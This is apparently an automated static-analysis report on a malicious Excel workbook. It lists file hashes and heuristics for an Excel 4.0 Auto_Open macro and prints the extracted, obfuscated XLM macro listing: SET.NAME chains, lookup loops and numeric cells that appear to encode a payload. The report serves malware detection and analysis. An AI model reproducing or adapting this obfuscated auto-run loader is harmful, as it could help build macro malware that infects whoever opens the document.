Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 274ae9bf880cb0b6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:55 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: f5f4013e2b73b9b0c81979fe1c6c1906 SHA-1: dc62d40ef4b898f6a90b8180fd2c29640f7b73b3 SHA-256: 274ae9bf880cb0b67250e8dd2dae2fed4b6f248da53f7fb7b0c9f9073987ed4a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6693 bytes
SHA-256: 1623843d33e52edbe99dda8e9c206f4a697f34ffa722312e2acd7a475624bf51
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iaGAZUX
' 0018     25 LABEL : Cell Value, String Constant - aFvzTmdlGt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D152 
' 0018     21 LABEL : Cell Value, String Constant - AZwRst len=0 
' 0018     20 LABEL : Cell Value, String Constant - Cgzfn len=0 
' 0018     21 LABEL : Cell Value, String Constant - dLlpTi len=0 
' 0018     25 LABEL : Cell Value, String Constant - DTuCJFdAyp len=0 
' 0018     27 LABEL : Cell Value, String Constant - GlgZSZoHhQJg len=0 
' 0018     20 LABEL : Cell Value, String Constant - hjWuS len=0 
' 0018     22 LABEL : Cell Value, String Constant - inWhhXk len=0 
' 0018     26 LABEL : Cell Value, String Constant - kFkIKONhepM len=0 
' 0018     25 LABEL : Cell Value, String Constant - kWFXnQzmAX len=0 
' 0018     23 LABEL : Cell Value, String Constant - kXQgElHt len=0 
' 0018     23 LABEL : Cell Value, String Constant - laSsbFmX len=0 
' 0018     25 LABEL : Cell Value, String Constant - MSDqwxJXzG len=0 
' 0018     24 LABEL : Cell Value, String Constant - rEgaiLROB len=0 
' 0018     20 LABEL : Cell Value, String Constant - SzDZb len=0 
' 0018     27 LABEL : Cell Value, String Constant - uJItniDyQfBR len=0 
' 0018     23 LABEL : Cell Value, String Constant - VstAigMr len=0 
' 0018     21 LABEL : Cell Value, String Constant - wIvrWT len=0 
' 0018     20 LABEL : Cell Value, String Constant - xdfvo len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZVEIbtBwel len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iaGAZUX,D68,"SET.NAME("hjWuS",0+VALUE("0"))",""
'  iaGAZUX,D70,"SET.NAME("uJItniDyQfBR",hjWuS)",""
'  iaGAZUX,D75,"SET.NAME("kXQgElHt",hjWuS)",""
'  iaGAZUX,D79,"SET.NAME("xdfvo",COUNTA(VstAigMr))",""
'  iaGAZUX,D81,"SET.NAME("aFvzTmdlGt",COUNTA(ZVEIbtBwel))",""
'  iaGAZUX,Q81,"",-392.00000000000000000000
'  iaGAZUX,Q82,"",157.00000000000000000000
'  iaGAZUX,Q83,"",-204.00000000000000000000
'  iaGAZUX,D84,[],""
'  iaGAZUX,Q84,"",-379.00000000000000000000
'  iaGAZUX,Q85,"",268.00000000000000000000
'  iaGAZUX,Q86,"",-83.00000000000000000000
'  iaGAZUX,D89,"SET.NAME("wIvrWT","")",""
'  iaGAZUX,D93,"uJItniDyQfBR",""
'  iaGAZUX,D95,"SET.NAME("inWhhXk",HLOOKUP("*",VstAigMr,uJItniDyQfBR,FALSE))",""
'  iaGAZUX,D100,"SzDZb",""
'  iaGAZUX,D103,"SET.NAME("kWFXnQzmAX",hjWuS)",""
'  iaGAZUX,D108,[],""
'  iaGAZUX,D110,"kWFXnQzmAX",""
'  iaGAZUX,D112,"AZwRst",""
'  iaGAZUX,D114,"laSsbFmX",""
'  iaGAZUX,D116,"rEgaiLROB",""
'  iaGAZUX,D119,"SET.NAME("MSDqwxJXzG",VALUE(HLOOKUP("*",ZVEIbtBwel,rEgaiLROB,FALSE)))",""
'  iaGAZUX,D122,"kFkIKONhepM",""
'  iaGAZUX,D127,"wIvrWT",""
'  iaGAZUX,D129,"kXQgElHt",""
'  iaGAZUX,D132,NEXT(),""
'  iaGAZUX,D137,"GlgZSZoHhQJg",""
'  iaGAZUX,D139,[],""
'  iaGAZUX,D142,"dLlpTi",""
'  iaGAZUX,D145,NEXT(),""
'  iaGAZUX,D150,RETURN(),""
'  iaGAZUX,D180,"SET.NAME("DTuCJFdAyp",D68)",""
'  iaGAZUX,D183,"VstAigMr",""
'  iaGAZUX,D185,"SET.NAME("ZVEIbtBwel",R49C14)",""
'  iaGAZUX,D190,"SET.NAME("dLlpTi",198)",""
'  iaGAZUX,D194,"SET.NAME("Cgzfn",4)",""
'  iaGAZUX,D197,DTuCJFdAyp(),""
'  iaGAZUX,D198,HALT(),""

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